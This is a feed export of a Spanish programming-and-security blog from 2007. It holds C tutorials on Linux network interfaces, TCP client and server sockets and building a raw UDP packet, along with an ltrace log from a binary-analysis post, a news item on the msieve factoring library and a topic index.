                           = "192.168.0.1"&lt;br /&gt;ntohs(5632)                                      = 22&lt;br /&gt;inet_ntoa(0xfd92550)                             = "192.168.0.2"&lt;br /&gt;printf("src: %s:%d\t\tdst: %s:%d \n", "192.168.0.2", 22, "192.168.0.2",&lt;br /&gt;57378) = 47&lt;br /&gt;read(3, "", 54)                                  = 54&lt;br /&gt;ntohs(5632)                                      = 22&lt;br /&gt;inet_ntoa(0xfd92550)                             = "192.168.0.2"&lt;br /&gt;ntohs(8928)                                      = 57378&lt;br /&gt;inet_ntoa(0x214ea8c0)                            = "192.168.0.1"&lt;br /&gt;printf("src: %s:%d\t\tdst: %s:%d \n", "192.168.0.1", 57378, "192.168.0.1",&lt;br /&gt;22) = 49&lt;br /&gt;22 &lt;unfinished&gt;&lt;br /&gt;--- SIGINT (Interrupt) ---&lt;br /&gt;+++ killed by SIGINT +++&lt;br /&gt;&lt;/unfinished&gt;&lt;/unfinished&gt;&lt;/span&gt;&lt;/pre&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Por supuesto también disponemos de la ayuda de programas como gdb, objdump, etc. Todo depende del nivel al que queramos llevar nuestro análisis.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5064908217201828351-5836274300166116008?l=h4ck1t.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://h4ck1t.blogspot.com/feeds/5836274300166116008/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5064908217201828351&amp;postID=5836274300166116008' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5064908217201828351/posts/default/5836274300166116008'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5064908217201828351/posts/default/5836274300166116008'/><link rel='alternate' type='text/html' href='http://h4ck1t.blogspot.com/2007/05/introduccin-al-anlisis-de-binarios.html' title='Introducción al análisis de binarios'/><author><name>Daniel Lerch</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh5.googleusercontent.com/-1QwcM6gjGYg/AAAAAAAAAAI/AAAAAAAAEkc/V2Z0ynWpHSA/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5064908217201828351.post-1945472256810627398</id><published>2007-05-06T03:43:00.000-07:00</published><updated>2008-12-04T01:28:24.881-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Redes'/><title type='text'>Interfaz de red en Linux</title><content type='html'>En el siguiente ejemplo se muestra como acceder a la información de las interfaces de Linux en C:&lt;br /&gt;&lt;br /&gt;&lt;pre name="code" class="Cpp"&gt;&lt;br /&gt;&lt;br /&gt;#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;#include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;#include &amp;lt;string.h&amp;gt;&lt;br /&gt;#include &amp;lt;unistd.h&amp;gt;&lt;br /&gt;&lt;br /&gt;#include &amp;lt;sys/socket.h&amp;gt;&lt;br /&gt;#include &amp;lt;sys/time.h&amp;gt;&lt;br /&gt;#include &amp;lt;malloc.h&amp;gt;&lt;br /&gt;#include &amp;lt;ctype.h&amp;gt;&lt;br /&gt;#include &amp;lt;netinet/in.h&amp;gt;&lt;br /&gt;#include &amp;lt;arpa/inet.h&amp;gt;&lt;br /&gt;&lt;br /&gt;#include &amp;lt;netinet/tcp.h&amp;gt;&lt;br /&gt;#include &amp;lt;net/if.h&amp;gt;&lt;br /&gt;#include &amp;lt;sys/ioctl.h&amp;gt;&lt;br /&gt;&lt;br /&gt;#define ETH_P_ARP  0x0806&lt;br /&gt;&lt;br /&gt;/* Funcion de utiliadad para pasar una ip en formato u_int32_t a un char* */&lt;br /&gt;char *inetaddr ( u_int32_t ip )&lt;br /&gt;{&lt;br /&gt;  struct in_addr in;&lt;br /&gt;  in.s_addr = ip;&lt;br /&gt;  return inet_ntoa(in);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;int main ()&lt;br /&gt;{&lt;br /&gt;  struct ifreq if_data;&lt;br /&gt;  int sockd;&lt;br /&gt;  u_int8_t  local_mac[6];&lt;br /&gt;  u_int32_t local_ip;&lt;br /&gt;  u_int32_t local_netmask;&lt;br /&gt;  u_int32_t local_broadcast;&lt;br /&gt;  u_int32_t ip;&lt;br /&gt;&lt;br /&gt;  /* Son necesarios privilegios de root */&lt;br /&gt;  if (getuid () != 0)&lt;br /&gt;  {&lt;br /&gt;     perror ("You must be root. \n");&lt;br /&gt;     exit (0);&lt;br /&gt;  }&lt;br /&gt;&lt;br /&gt;  /* Crea el socket */&lt;br /&gt;  if ((sockd = socket (AF_INET, SOCK_PACKET, htons (ETH_P_ARP))) &amp;lt; 0)&lt;br /&gt;  {&lt;br /&gt;     perror("socket");&lt;br /&gt;     exit (0);&lt;br /&gt;  }&lt;br /&gt;&lt;br /&gt;  /* Interfaz eth0 */&lt;br /&gt;  strcpy (if_data.ifr_name, "eth0");&lt;br /&gt;&lt;br /&gt;  /* Obtiene la MAC address */&lt;br /&gt;  if (ioctl (sockd, SIOCGIFHWADDR, &amp;amp;if_data) &amp;lt; 0)&lt;br /&gt;  {&lt;br /&gt;     perror ("ioctl(): SIOCGIFHWADDR \n");&lt;br /&gt;     exit(EXIT_FAILURE);&lt;br /&gt;  }&lt;br /&gt;  memcpy (local_mac, if_data.ifr_hwaddr.sa_data, 6);&lt;br /&gt;  printf ("MAC: %02X:%02X:%02X:%02X:%02X:%02X\n",&lt;br /&gt;           local_mac[0], local_mac[1], local_mac[2],&lt;br /&gt;           local_mac[3], local_mac[4], local_mac[5]);&lt;br /&gt;&lt;br /&gt;  /* Obtiene la IP address */&lt;br /&gt;  if (ioctl (sockd, SIOCGIFADDR, &amp;amp;if_data) &amp;lt; 0)&lt;br /&gt;  {&lt;br /&gt;     perror ("ioctl(); SIOCGIFADDR \n");&lt;br /&gt;     exit(EXIT_FAILURE);&lt;br /&gt;  }&lt;br /&gt;  memcpy ((void *) &amp;amp;ip, (void *) &amp;amp;if_data.ifr_addr.sa_data + 2, 4);&lt;br /&gt;  local_ip = ntohl (ip);&lt;br /&gt;  printf ("IP: %s\n", inetaddr(ip));&lt;br /&gt;&lt;br /&gt;  /* Obtiene la mascara de red */&lt;br /&gt;  if (ioctl (sockd, SIOCGIFNETMASK, &amp;amp;if_data) &amp;lt; 0)&lt;br /&gt;  {&lt;br /&gt;     perror ("ioctl(): SIOCGIFNETMASK \n");&lt;br /&gt;     exit(EXIT_FAILURE);&lt;br /&gt;  }&lt;br /&gt;  memcpy ((void *) &amp;amp;ip, (void *) &amp;amp;if_data.ifr_netmask.sa_data + 2, 4);&lt;br /&gt;  local_netmask = ntohl (ip);&lt;br /&gt;  printf ("NETMASK: %s\n", inetaddr(ip));&lt;br /&gt;&lt;br /&gt;  /* Obtiene la direccion de broadcast */&lt;br /&gt;  if (ioctl (sockd, SIOCGIFBRDADDR, &amp;amp;if_data) &amp;lt; 0)&lt;br /&gt;  {&lt;br /&gt;     perror ("ioctl(): SIOCGIFBRDADDR \n");&lt;br /&gt;     exit(EXIT_FAILURE);&lt;br /&gt;  }&lt;br /&gt;  memcpy ((void *) &amp;amp;ip, (void *) &amp;amp;if_data.ifr_broadaddr.sa_data + 2, 4);&lt;br /&gt;  local_broadcast = ntohl (ip);&lt;br /&gt;  printf ("BROADCAST: %s\n", inetaddr(ip));&lt;br /&gt;&lt;br /&gt;  return (0);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5064908217201828351-1945472256810627398?l=h4ck1t.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://h4ck1t.blogspot.com/feeds/1945472256810627398/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5064908217201828351&amp;postID=1945472256810627398' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5064908217201828351/posts/default/1945472256810627398'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5064908217201828351/posts/default/1945472256810627398'/><link rel='alternate' type='text/html' href='http://h4ck1t.blogspot.com/2007/05/interfaz-de-red-en-linux.html' title='Interfaz de red en Linux'/><author><name>Daniel Lerch</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh5.googleusercontent.com/-1QwcM6gjGYg/AAAAAAAAAAI/AAAAAAAAEkc/V2Z0ynWpHSA/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5064908217201828351.post-958855709731880169</id><published>2007-05-06T03:42:00.000-07:00</published><updated>2008-12-04T01:28:24.843-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Redes'/><title type='text'>Sockets TCP y UDP</title><content type='html'>A continuación pego dos ejemplos de como usar sockets TCP y UDP.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;u&gt;Cliente TCP:&lt;/u&gt;&lt;br /&gt;&lt;pre name="code" class="Cpp"&gt;&lt;br /&gt;&lt;br /&gt;#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;#include &amp;lt;sys/socket.h&amp;gt;&lt;br /&gt;#include &amp;lt;netinet/in.h&amp;gt;&lt;br /&gt;&lt;br /&gt;#include &amp;lt;arpa/inet.h&amp;gt;&lt;br /&gt;#include &amp;lt;netdb.h&amp;gt;&lt;br /&gt;#include &amp;lt;string.h&amp;gt;&lt;br /&gt;#include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;&lt;br /&gt;/*&lt;br /&gt; * Ejemplo de Sockets cliente TCP&lt;br /&gt; */&lt;br /&gt;int main () &lt;br /&gt;{&lt;br /&gt;&lt;br /&gt; /* Datos de conexion */&lt;br /&gt; char *host = "localhost";&lt;br /&gt; int port = 9999;&lt;br /&gt;&lt;br /&gt; /* Cadena a enviar */&lt;br /&gt; char *data = "Cadena de prueba";&lt;br /&gt;&lt;br /&gt; /* Obtenemos el host */&lt;br /&gt; struct hostent *host_name;&lt;br /&gt; if ((host_name = gethostbyname(host))==0) &lt;br /&gt; {&lt;br /&gt;  perror ("gethostbyname()");&lt;br /&gt;  exit (EXIT_FAILURE);&lt;br /&gt; }&lt;br /&gt;&lt;br /&gt; /* Configura el socket */&lt;br /&gt; struct sockaddr_in pin; &lt;br /&gt; bzero (&amp;pin, sizeof(pin));&lt;br /&gt; pin.sin_family =  AF_INET;&lt;br /&gt; pin.sin_addr.s_addr = htonl(INADDR_ANY);&lt;br /&gt; pin.sin_addr.s_addr = ((struct in_addr *)(host_name-&amp;gt;h_addr))-&amp;gt;s_addr;&lt;br /&gt; pin.sin_port = htons (port);&lt;br /&gt;  &lt;br /&gt;&lt;br /&gt; /* Crea un socket TCP */&lt;br /&gt; int socket_descriptor = socket (AF_INET, SOCK_STREAM, 0);&lt;br /&gt; if (socket_descriptor == -1) &lt;br /&gt; { &lt;br /&gt;  perror ("socket()");&lt;br /&gt;  exit (EXIT_FAILURE);&lt;br /&gt; }&lt;br /&gt; &lt;br /&gt;&lt;br /&gt; /* Conecta con el servidor */&lt;br /&gt; if (connect(socket_descriptor, (void *)&amp;pin, sizeof(pin))==-1) &lt;br /&gt; {&lt;br /&gt;  perror ("connect()");&lt;br /&gt;  exit (EXIT_FAILURE);&lt;br /&gt; }&lt;br /&gt;&lt;br /&gt; /* Envia los datos al servidor */&lt;br /&gt; if (send(socket_descriptor, data, strlen(data), 0) == -1) &lt;br /&gt; {&lt;br /&gt;  perror ("send()");&lt;br /&gt;  exit (EXIT_FAILURE);&lt;br /&gt; }&lt;br /&gt;&lt;br /&gt; /* Lee la respuesta */&lt;br /&gt; static char buffer [2048];&lt;br /&gt; if (recv(socket_descriptor, buffer, sizeof(buffer), 0) == -1) {&lt;br /&gt; &lt;br /&gt;  perror ("recv()");&lt;br /&gt;  exit (EXIT_FAILURE);&lt;br /&gt; }&lt;br /&gt;&lt;br /&gt; /* Datos recibidos */&lt;br /&gt; printf ("%s\n", buffer);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;br&gt;&lt;br&gt;&lt;br /&gt;&lt;br /&gt;&lt;u&gt;Servidor TCP:&lt;/u&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre name="code" class="Cpp"&gt;&lt;br /&gt;&lt;br /&gt;#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;#include &amp;lt;sys/socket.h&amp;gt;&lt;br /&gt;#include &amp;lt;netinet/in.h&amp;gt;&lt;br /&gt;&lt;br /&gt;#include &amp;lt;arpa/inet.h&amp;gt;&lt;br /&gt;#include &amp;lt;netdb.h&amp;gt;&lt;br /&gt;#include &amp;lt;unistd.h&amp;gt;&lt;br /&gt;#include &amp;lt;string.h&amp;gt;&lt;br /&gt;#include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;#include &amp;lt;signal.h&amp;gt;&lt;br /&gt;&lt;br /&gt;#define BUFFER_SIZE 1024&lt;br /&gt;&lt;br /&gt;/*&lt;br /&gt; * Ejemplo Socket servidor TCP&lt;br /&gt; */&lt;br /&gt;int main() &lt;br /&gt;{&lt;br /&gt; &lt;br /&gt; /* Descriptor del socket */&lt;br /&gt; int socket_descriptor;&lt;br /&gt;&lt;br /&gt; /* Puerto al que escuchara el servidor */&lt;br /&gt; int port = 9999;&lt;br /&gt; &lt;br /&gt; &lt;br /&gt; /* Configuracion del socket */&lt;br /&gt; struct sockaddr_in sin; &lt;br /&gt; &lt;br /&gt; /* Crea un socket TCP */&lt;br /&gt; socket_descriptor = socket (AF_INET, SOCK_STREAM, 0);&lt;br /&gt; if (socket_descriptor == -1) &lt;br /&gt; {&lt;br /&gt;  perror("socket()");&lt;br /&gt;  exit(EXIT_FAILURE);&lt;br /&gt; }&lt;br /&gt; &lt;br /&gt; /* Configura el socket */&lt;br /&gt; bzero (&amp;sin, sizeof(sin));&lt;br /&gt; sin.sin_family =  AF_INET;&lt;br /&gt; sin.sin_addr.s_addr = INADDR_ANY;&lt;br /&gt; sin.sin_port = htons (port);&lt;br /&gt; &lt;br /&gt; /* Une el socket al puerto X */&lt;br /&gt; if (bind(socket_descriptor,(struct sockaddr *)&amp;sin,sizeof(sin)) == -1) &lt;br /&gt; { &lt;br /&gt;  perror("bind()");  &lt;br /&gt;  exit(EXIT_FAILURE);&lt;br /&gt; }&lt;br /&gt;&lt;br /&gt; /* Configura la cola del socket */&lt;br /&gt; if (listen(socket_descriptor, 20) == -1) &lt;br /&gt; {&lt;br /&gt;  perror("listen()");  &lt;br /&gt;  exit(EXIT_FAILURE);&lt;br /&gt; }&lt;br /&gt; &lt;br /&gt;&lt;br /&gt; /* Para obtener la configuracion del socket */&lt;br /&gt; struct sockaddr_in pin;&lt;br /&gt; int address_size;&lt;br /&gt;&lt;br /&gt; /* Descriptor del socket temporal */&lt;br /&gt; int temp_socket_descriptor;&lt;br /&gt; &lt;br /&gt; /* Buffer de recepcion  */&lt;br /&gt; char buffer[BUFFER_SIZE];&lt;br /&gt;&lt;br /&gt; /* Bucle principal de recepcion y envio de paquetes */&lt;br /&gt; while (1) &lt;br /&gt; {&lt;br /&gt;  /* Limpieza del buffer */&lt;br /&gt;  memset (buffer, '\0', BUFFER_SIZE);&lt;br /&gt;&lt;br /&gt;  /* Aceptamos la conexion */&lt;br /&gt;  temp_socket_descriptor = &lt;br /&gt;  accept(socket_descriptor,(struct sockaddr*)&amp;pin,&amp;address_size);&lt;br /&gt;  &lt;br /&gt;  if (temp_socket_descriptor == -1) &lt;br /&gt;  { &lt;br /&gt;   perror("accept()");  &lt;br /&gt;   exit(EXIT_FAILURE);&lt;br /&gt;  }&lt;br /&gt;&lt;br /&gt;  /* Recibimos datos */&lt;br /&gt;  if (recv(temp_socket_descriptor,buffer,sizeof(buffer),0)==-1) &lt;br /&gt;  { &lt;br /&gt;   perror("recv()");  &lt;br /&gt;   exit(EXIT_FAILURE);&lt;br /&gt;  }&lt;br /&gt;  &lt;br /&gt;  printf ("Recibido: %s\n",buffer); &lt;br /&gt;&lt;br /&gt;  /* Enviamos datos */&lt;br /&gt;  if (send(temp_socket_descriptor, "Recibido\n", 9,0) == -1) &lt;br /&gt;  { &lt;br /&gt;   perror("send()");  &lt;br /&gt;   exit(EXIT_FAILURE);&lt;br /&gt;  }&lt;br /&gt;&lt;br /&gt;  /* Cierre del descriptor de archivo */&lt;br /&gt;  close(temp_socket_descriptor);&lt;br /&gt; }&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;u&gt;Paquetes  UDP:&lt;/u&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre name="code" class="Cpp"&gt;&lt;br /&gt;&lt;br /&gt;#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;&lt;br /&gt;#include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;#include &amp;lt;string.h&amp;gt;&lt;br /&gt;#include &amp;lt;unistd.h&amp;gt;&lt;br /&gt;#include &amp;lt;sys/socket.h&amp;gt;&lt;br /&gt;#include &amp;lt;arpa/inet.h&amp;gt;&lt;br /&gt;#include &amp;lt;netinet/in.h&amp;gt;&lt;br /&gt;&lt;br /&gt;#include &amp;lt;netinet/ip.h&amp;gt;&lt;br /&gt;#include &amp;lt;netinet/udp.h&amp;gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;int main(void) &lt;br /&gt;{&lt;br /&gt; /* socket */&lt;br /&gt; int sock;&lt;br /&gt;&lt;br /&gt; /* TamaÃ±o del paquete UDP */&lt;br /&gt; unsigned int buffer_size = sizeof(struct iphdr) + sizeof(struct udphdr);&lt;br /&gt;&lt;br /&gt; /* Buffer de tamaÃ±o suficiente para un paquete UDP */&lt;br /&gt; unsigned char buffer[buffer_size];&lt;br /&gt; memset (buffer, 0, buffer_size);&lt;br /&gt;&lt;br /&gt; /* Cabecera IP */&lt;br /&gt; struct iphdr *ip = (struct iphdr *)buffer;&lt;br /&gt;&lt;br /&gt; /* Cabecera UDP */&lt;br /&gt; struct udphdr *udp = (struct udphdr *)(buffer + sizeof(struct iphdr));&lt;br /&gt;&lt;br /&gt; /* Crea el socket */&lt;br /&gt; if ((sock = socket(AF_INET,SOCK_RAW,IPPROTO_UDP)) == -1) &lt;br /&gt; { &lt;br /&gt;  perror("socket()"); &lt;br /&gt;  exit(EXIT_FAILURE); &lt;br /&gt; }&lt;br /&gt;&lt;br /&gt; /* Establece las opciones del socket */&lt;br /&gt; int o = 1;&lt;br /&gt; if (setsockopt(sock,IPPROTO_IP,IP_HDRINCL,&amp;o,sizeof(o)) == -1) &lt;br /&gt; { &lt;br /&gt;  perror("setsockopt()"); &lt;br /&gt;  exit(EXIT_FAILURE); &lt;br /&gt; }&lt;br /&gt;&lt;br /&gt; /* Rellena la cabecera IP */&lt;br /&gt; ip-&amp;gt;version = 4;&lt;br /&gt; ip-&amp;gt;ihl = 5;&lt;br /&gt; ip-&amp;gt;id = htonl(random());&lt;br /&gt; ip-&amp;gt;saddr = inet_addr("1.2.3.4");&lt;br /&gt; ip-&amp;gt;daddr = inet_addr("1.2.3.4");&lt;br /&gt; ip-&amp;gt;ttl = 255;&lt;br /&gt; ip-&amp;gt;protocol = IPPROTO_UDP;&lt;br /&gt; ip-&amp;gt;tot_len = buffer_size;&lt;br /&gt; ip-&amp;gt;check = 0;&lt;br /&gt;&lt;br /&gt; /* Rellena la cabecera UDP */&lt;br /&gt; udp-&amp;gt;source = htons(1234);&lt;br /&gt; udp-&amp;gt;dest = htons(1234);&lt;br /&gt; udp-&amp;gt;len = buffer_size;&lt;br /&gt; udp-&amp;gt;check = 0; /* falta calcular checksum  */&lt;br /&gt;&lt;br /&gt;&lt;br /&gt; struct sockaddr_in addr;&lt;br /&gt; addr.sin_family = AF_INET;&lt;br /&gt; addr.sin_port = udp-&amp;gt;source;&lt;br /&gt; addr.sin_addr.s_addr = ip-&amp;gt;saddr;&lt;br /&gt;&lt;br /&gt; /* Envio del paquete */&lt;br /&gt; if ((sendto(sock, buffer, buffer_size, 0, (struct sockaddr*)&amp;addr,&lt;br /&gt;        sizeof(struct sockaddr_in))) == -1) &lt;br /&gt; {&lt;br /&gt;  perror("send()");&lt;br /&gt;  exit(1);&lt;br /&gt; }&lt;br /&gt;&lt;br /&gt; return 0;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5064908217201828351-958855709731880169?l=h4ck1t.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://h4ck1t.blogspot.com/feeds/958855709731880169/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5064908217201828351&amp;postID=958855709731880169' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5064908217201828351/posts/default/958855709731880169'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5064908217201828351/posts/default/958855709731880169'/><link rel='alternate' type='text/html' href='http://h4ck1t.blogspot.com/2007/05/sockets-tcp-y-udp.html' title='Sockets TCP y UDP'/><author><name>Daniel Lerch</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh5.googleusercontent.com/-1QwcM6gjGYg/AAAAAAAAAAI/AAAAAAAAEkc/V2Z0ynWpHSA/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5064908217201828351.post-8363950734367524600</id><published>2007-05-06T03:40:00.000-07:00</published><updated>2009-08-04T09:43:25.960-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Redes'/><title type='text'>Raw Sockets</title><content type='html'>Nueva dirección: &lt;a href="http://dlerch.blogspot.com/2007/05/raw-sockets.html"&gt;http://dlerch.blogspot.com/2007/05/raw-sockets.html&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5064908217201828351-8363950734367524600?l=h4ck1t.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://h4ck1t.blogspot.com/feeds/8363950734367524600/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5064908217201828351&amp;postID=8363950734367524600' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5064908217201828351/posts/default/8363950734367524600'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5064908217201828351/posts/default/8363950734367524600'/><link rel='alternate' type='text/html' href='http://h4ck1t.blogspot.com/2007/05/raw-sockets.html' title='Raw Sockets'/><author><name>Daniel Lerch</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh5.googleusercontent.com/-1QwcM6gjGYg/AAAAAAAAAAI/AAAAAAAAEkc/V2Z0ynWpHSA/s512-c/photo.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5064908217201828351.post-4841583995582109810</id><published>2007-05-06T03:28:00.000-07:00</published><updated>2009-08-04T09:44:58.258-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Redes'/><title type='text'>GNU Netcat</title><content type='html'>Nueva dirección: &lt;a href="http://dlerch.blogspot.com/2007/05/gnu-netcat.html"&gt;http://dlerch.blogspot.com/2007/05/gnu-netcat.html&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5064908217201828351-4841583995582109810?l=h4ck1t.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://h4ck1t.blogspot.com/feeds/4841583995582109810/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5064908217201828351&amp;postID=4841583995582109810' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5064908217201828351/posts/default/4841583995582109810'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5064908217201828351/posts/default/4841583995582109810'/><link rel='alternate' type='text/html' href='http://h4ck1t.blogspot.com/2007/05/gnu-netcat.html' title='GNU Netcat'/><author><name>Daniel Lerch</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh5.googleusercontent.com/-1QwcM6gjGYg/AAAAAAAAAAI/AAAAAAAAEkc/V2Z0ynWpHSA/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5064908217201828351.post-7582885787855095411</id><published>2007-05-06T00:31:00.000-07:00</published><updated>2008-12-04T01:28:25.969-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Noticias'/><title type='text'>msieve 1.21</title><content type='html'>&lt;div style="text-align: justify;"&gt;Aprovecho mi primer post para comentar la publicación por Jason Papadopoulos de una nueva versión de msieve. Podéis acceder a ella desde &lt;a href="http://www.boo.net/%7Ejasonp/qs.html"&gt;http://www.boo.net/~jasonp/qs.html&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;msieve es una librería de código abierto de factorización de números grandes. Destaca por ser la implementación más rápida del algoritmo de factorización&lt;a href="http://en.wikipedia.org/wiki/Quadratic_Sieve"&gt; QS&lt;/a&gt;. Actualmente también incluye una implementación del algoritmo de factorización &lt;a href="http://en.wikipedia.org/wiki/General_number_field_sieve"&gt;NFS&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;El problema de factorización de números grandes es muy importante en criptografía por su utilización en ciertos algoritmos de clave pública como &lt;a href="http://es.wikipedia.org/wiki/RSA"&gt;RSA&lt;/a&gt;. Su resolución dejaría fuera de combate estos algoritmos, por lo que existe gran cantidad de investigación al respecto.&lt;br /&gt;&lt;br /&gt;A continuación dejo algunos enlaces que pueden resultar de interés a los aficionados a la factorización:&lt;br /&gt;- &lt;a href="http://www.nfsnet.org/"&gt;NFSNET&lt;/a&gt;: Large-scale distributed factoring.&lt;br /&gt;- &lt;a href="http://daniellerch.com/dfact.html"&gt;DFACT&lt;/a&gt;: Distributed Factorization Poject.&lt;br /&gt;- &lt;a href="http://daniellerch.com/sources/projects/factorization/get_priv_key.c"&gt;Recuperación de clave después de la factorización&lt;/a&gt;.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5064908217201828351-7582885787855095411?l=h4ck1t.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://h4ck1t.blogspot.com/feeds/7582885787855095411/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5064908217201828351&amp;postID=7582885787855095411' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5064908217201828351/posts/default/7582885787855095411'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5064908217201828351/posts/default/7582885787855095411'/><link rel='alternate' type='text/html' href='http://h4ck1t.blogspot.com/2007/05/msieve-121.html' title='msieve 1.21'/><author><name>Daniel Lerch</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh5.googleusercontent.com/-1QwcM6gjGYg/AAAAAAAAAAI/AAAAAAAAEkc/V2Z0ynWpHSA/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5064908217201828351.post-2651029263185768919</id><published>2007-05-01T03:05:00.000-07:00</published><updated>2008-12-04T01:28:24.730-08:00</updated><title type='text'>Índice por temas</title><content type='html'>&lt;span class="" style="display: block;" id="formatbar_CreateLink" title="Vínculo" onmouseover="ButtonHoverOn(this);" onmouseout="ButtonHoverOff(this);" onmouseup="" onmousedown="CheckFormatting(event);FormatbarButton('richeditorframe', this, 8);ButtonMouseDown(this);"&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 153);"&gt;BLOQUE I: Seguridad en el Software&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Programación segura:&lt;/span&gt;&lt;br /&gt;&lt;ol&gt;   &lt;li&gt;&lt;a href="http://h4ck1t.blogspot.com/2007/05/sobre-strcpy-strncpy-strcat-y-strncat.html"&gt;Sobre str*cpy() y str*cat()&lt;/a&gt;.&lt;/li&gt;   &lt;li&gt;&lt;a href="http://h4ck1t.blogspot.com/2007/06/cmo-hacer-login-en-unix-con-c.html"&gt;Cómo hacer login en UNIX con C&lt;/a&gt;.&lt;/li&gt;&lt;li&gt;&lt;a href="http://h4ck1t.blogspot.com/2008/10/qu-pasa-con-atoll.html"&gt;¿Qué pasa con atoll?&lt;/a&gt;&lt;br /&gt;&lt;/li&gt; &lt;/ol&gt;&lt;span style="display: block;" id="formatbar_Buttons"&gt;&lt;span class="" style="display: block;" id="formatbar_CreateLink" title="Enlace" onmouseover="ButtonHoverOn(this);" onmouseout="ButtonHoverOff(this);" 